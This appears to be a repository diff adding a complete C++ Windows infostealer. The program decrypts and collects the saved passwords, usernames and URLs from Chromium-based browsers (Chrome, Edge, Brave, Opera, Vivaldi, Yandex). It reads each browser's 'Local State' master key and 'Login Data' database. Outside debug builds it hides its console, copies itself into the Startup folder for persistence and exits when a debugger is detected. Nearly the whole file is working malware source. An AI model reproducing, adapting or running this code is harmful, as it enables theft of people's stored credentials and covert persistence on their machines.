|
| 1 | +#define DEBUG_MOD |
| 2 | +#include "Base64.h" |
| 3 | +#include "binaryhandling.hpp" |
| 4 | +#include <cstdio> |
| 5 | +#include <iostream> |
| 6 | +#include "json.hpp" |
| 7 | +#include <map> |
| 8 | +#include "plusaes_wrapper.hpp" |
| 9 | +#include <string> |
| 10 | +#include "sqlite3.h" |
| 11 | +#include <windows.h> |
| 12 | +#include <Wincrypt.h> |
| 13 | +#pragma comment(lib, "sqlite3") |
| 14 | +#pragma comment(lib, "user32") |
| 15 | +#pragma comment(lib, "Crypt32") |
| 16 | + |
| 17 | +std::string con, browser; |
| 18 | +std::map<std::string, std::string> paths; |
| 19 | + |
| 20 | +std::string decrypt_c32(std::string cont) { |
| 21 | + DATA_BLOB out; |
| 22 | + DATA_BLOB buf; |
| 23 | + buf.pbData = reinterpret_cast<BYTE*>(cont.data()); |
| 24 | + buf.cbData = (DWORD) cont.size(); |
| 25 | + std::string dec_buffer; |
| 26 | + |
| 27 | + if (CryptUnprotectData(&buf, NULL, NULL, NULL, NULL, NULL, &out)) { |
| 28 | + for (int i = 0; i < out.cbData; i++) { |
| 29 | + dec_buffer += out.pbData[i]; |
| 30 | + } |
| 31 | + |
| 32 | + #ifdef DEBUG_MOD |
| 33 | + std::cout << "Decrypted Crypt32: " << dec_buffer << " Size: " << dec_buffer.size() << "\n"; |
| 34 | + #endif |
| 35 | + |
| 36 | + LocalFree(out.pbData); |
| 37 | + |
| 38 | + return dec_buffer; |
| 39 | + } |
| 40 | + else { |
| 41 | + #ifdef DEBUG_MOD |
| 42 | + std::cerr << "Error: " << GetLastError() << "\n"; |
| 43 | + return std::to_string(GetLastError()); |
| 44 | + #else |
| 45 | + return ""; |
| 46 | + #endif |
| 47 | + } |
| 48 | +} |
| 49 | + |
| 50 | +void trim_data(std::string original_data, std::string* out_pass, std::string* out_tag, std::string* iv) { |
| 51 | + #ifdef DEBUG_MOD |
| 52 | + std::cout << "Data size: " << original_data.size() << "\n"; |
| 53 | + #endif |
| 54 | + std::string buf; |
| 55 | + |
| 56 | + *iv = original_data.substr(3, 12); |
| 57 | + buf = original_data.substr(15, original_data.size() - 15); |
| 58 | + *out_tag = buf.substr(buf.size() - 16, 16); |
| 59 | + *out_pass = buf.substr(0, buf.size() - out_tag->size()); |
| 60 | + |
| 61 | + #ifdef DEBUG_MOD |
| 62 | + std::cout << "Out pass: " << *out_pass << " Size: " << out_pass->size() << "\nOut tag: " << *out_tag << " Size: " << out_tag->size() << "\nIV: " << *iv << " Size: " << iv->size() << "\n"; |
| 63 | + #endif |
| 64 | +} |
| 65 | + |
| 66 | +std::string master_k(std::string path) { |
| 67 | + //std::string mkey_path = std::string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Local State"; |
| 68 | + std::string content; |
| 69 | + try { |
| 70 | + nk125::binary_file_handler b; |
| 71 | + content = b.read_file(path); |
| 72 | + auto v = nlohmann::json::parse(content); |
| 73 | + content = v["os_crypt"]["encrypted_key"]; |
| 74 | + } |
| 75 | + catch (...) {return "";} |
| 76 | + |
| 77 | + #ifdef DEBUG_MOD |
| 78 | + std::cout << "Encrypted Master key: " << content << "\n"; |
| 79 | + #endif |
| 80 | + |
| 81 | + std::string master; |
| 82 | + macaron::Base64::Decode(content, master); |
| 83 | + master = decrypt_c32(master.substr(5, master.size() - 5)); |
| 84 | + |
| 85 | + return master; |
| 86 | +} |
| 87 | + |
| 88 | +std::string decrypt_ch(std::string content) { |
| 89 | + std::string master_path, dec_buf; |
| 90 | + std::string local(getenv("localappdata")); |
| 91 | + |
| 92 | + if (browser == "Vivaldi") { |
| 93 | + master_path = local + "/Vivaldi/Local State"; |
| 94 | + } |
| 95 | + else if (browser == "Yandex") { |
| 96 | + master_path = local + "/Yandex/YandexBrowser/Local State"; |
| 97 | + } |
| 98 | + else { |
| 99 | + master_path = paths[browser] + "Local State"; |
| 100 | + } |
| 101 | + |
| 102 | + std::string key = master_k(master_path); |
| 103 | + nk125::plusaes_wrapper aes; |
| 104 | + std::string data, gcm_tag, iv; |
| 105 | + |
| 106 | + trim_data(content, &data, &gcm_tag, &iv); |
| 107 | + |
| 108 | + aes.set_tw_iv(reinterpret_cast<unsigned char*>(iv.data())); |
| 109 | + |
| 110 | + dec_buf = aes.gcm_decrypt(data, key, gcm_tag); |
| 111 | + |
| 112 | + #ifdef DEBUG_MOD |
| 113 | + std::cout << "Decrypted buffer: " << dec_buf << " Size: " << dec_buf.size() << "\n"; |
| 114 | + #endif |
| 115 | + |
| 116 | + return dec_buf; |
| 117 | +} |
| 118 | + |
| 119 | +int tHandler(void* nil, int argc, char** second, char** first) { |
| 120 | + #ifdef DEBUG_MOD |
| 121 | + std::cout << "Argc: " << argc << "\n"; |
| 122 | + #endif |
| 123 | + |
| 124 | + for (int ind = 0; ind < argc; ind++) { |
| 125 | + std::string key = first[ind], value = second[ind]; |
| 126 | + std::cout << "Key: " << key << " Value: " << value << "\n"; |
| 127 | + if (!value.empty() || !key.empty()) { |
| 128 | + if (key == "action_url") { |
| 129 | + con.append("-----\nBrowser: " + browser + "\nURL: " + value + "\n"); |
| 130 | + } |
| 131 | + |
| 132 | + if (key == "username_value") { |
| 133 | + con.append("Email/User: " + value + "\n"); |
| 134 | + } |
| 135 | + |
| 136 | + if (key == "password_value") { |
| 137 | + std::string ftag = value.substr(0, 3); |
| 138 | + std::string dec; |
| 139 | + |
| 140 | + if (ftag == "v10" || ftag == "v11") { |
| 141 | + dec = decrypt_ch(value); |
| 142 | + } |
| 143 | + else { |
| 144 | + dec = decrypt_c32(value); |
| 145 | + } |
| 146 | + |
| 147 | + con.append("Pass: " + dec + "\n\n"); |
| 148 | + } |
| 149 | + } |
| 150 | + } |
| 151 | + return 0; |
| 152 | +} |
| 153 | + |
| 154 | +void sql_chromium(std::string path) { |
| 155 | + using namespace std; |
| 156 | + //string dbp = string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Login Data"; |
| 157 | + nk125::binary_file_handler b; |
| 158 | + std::string path_db; |
| 159 | + |
| 160 | + if (browser == "Chrome") { |
| 161 | + path_db = path + "Default/Login Data"; |
| 162 | + } |
| 163 | + else { |
| 164 | + path_db = path + "Login Data"; |
| 165 | + } |
| 166 | + |
| 167 | + try { |
| 168 | + b.fast_copy_file(path_db, path_db + ".d"); |
| 169 | + } |
| 170 | + catch(...) {return;} |
| 171 | + |
| 172 | + sqlite3* datab; |
| 173 | + int failed = sqlite3_open(std::string{path_db + ".d"}.c_str(), &datab); |
| 174 | + |
| 175 | + if (failed) { |
| 176 | + #ifdef DEBUG_MOD |
| 177 | + std::cerr << "Error: " << failed << ", " << path << "\n"; |
| 178 | + #endif |
| 179 | + return; |
| 180 | + } |
| 181 | + else { |
| 182 | + #ifdef DEBUG_MOD |
| 183 | + char* err; |
| 184 | + int r = sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, &err); |
| 185 | + if (r) { |
| 186 | + std::cout << "Ret: " << err << "\n"; |
| 187 | + } |
| 188 | + #else |
| 189 | + sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, 0); |
| 190 | + #endif |
| 191 | + sqlite3_close(datab); |
| 192 | + } |
| 193 | +} |
| 194 | + |
| 195 | +void saveStartup(char* argv[]) { |
| 196 | + std::string path = std::string{getenv("appdata")} + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"; |
| 197 | + std::string exe(argv[0]); |
| 198 | + |
| 199 | + if (exe.find(path) != std::string::npos) { |
| 200 | + return; |
| 201 | + } |
| 202 | + |
| 203 | + nk125::binary_file_handler b; |
| 204 | + try { |
| 205 | + b.copy_file(exe, path + "h.exe"); |
| 206 | + } |
| 207 | + catch (...) { |
| 208 | + return; |
| 209 | + } |
| 210 | +} |
| 211 | + |
| 212 | +void hide() { |
| 213 | + HWND window; |
| 214 | + AllocConsole(); |
| 215 | + window = FindWindowA("ConsoleWindowClass", NULL); |
| 216 | + ShowWindow(window, 0); |
| 217 | +} |
| 218 | + |
| 219 | +void init(char* argv[]) { |
| 220 | + #ifndef DEBUG_MOD |
| 221 | + hide(); |
| 222 | + saveStartup(argv); |
| 223 | + #endif |
| 224 | + std::string roaming(getenv("appdata")); |
| 225 | + std::string local(getenv("localappdata")); |
| 226 | + |
| 227 | + paths.insert({ |
| 228 | + {"Opera", roaming + "/Opera Software/Opera Stable/"}, |
| 229 | + {"OperaGX", roaming + "/Opera Software/Opera GX Stable/"}, |
| 230 | + {"Edge", local + "/Microsoft/Edge/User Data/"}, |
| 231 | + {"Chromium", local + "/Chromium/User Data/"}, |
| 232 | + {"Brave", local + "/BraveSoftware/Brave-Browser/User Data/"}, |
| 233 | + {"Chrome", local + "/Google/Chrome/User Data/"}, |
| 234 | + {"Vivaldi", local + "/Vivaldi/User Data/Default/"}, |
| 235 | + {"Yandex", local + "/Yandex/YandexBrowser/User Data/Default/"}, |
| 236 | + }); |
| 237 | + |
| 238 | + struct _stat32 info; |
| 239 | + |
| 240 | + for (auto path : paths) { |
| 241 | + browser = path.first; |
| 242 | + if (_stat32(path.second.c_str(), &info) == 0) { |
| 243 | + sql_chromium(path.second); |
| 244 | + } |
| 245 | + } |
| 246 | +} |
| 247 | + |
| 248 | +int main(int argc, char* argv[]) { |
| 249 | + #ifndef DEBUG_MOD |
| 250 | + if (IsDebuggerPresent()) { |
| 251 | + return 0; |
| 252 | + } |
| 253 | + #endif |
| 254 | + |
| 255 | + init(argv); |
| 256 | + |
| 257 | + #ifdef DEBUG_MOD |
| 258 | + std::cout << "Login Data: \n" << con << "\n"; |
| 259 | + #endif |
| 260 | + return 0; |
| 261 | +} |
0 commit comments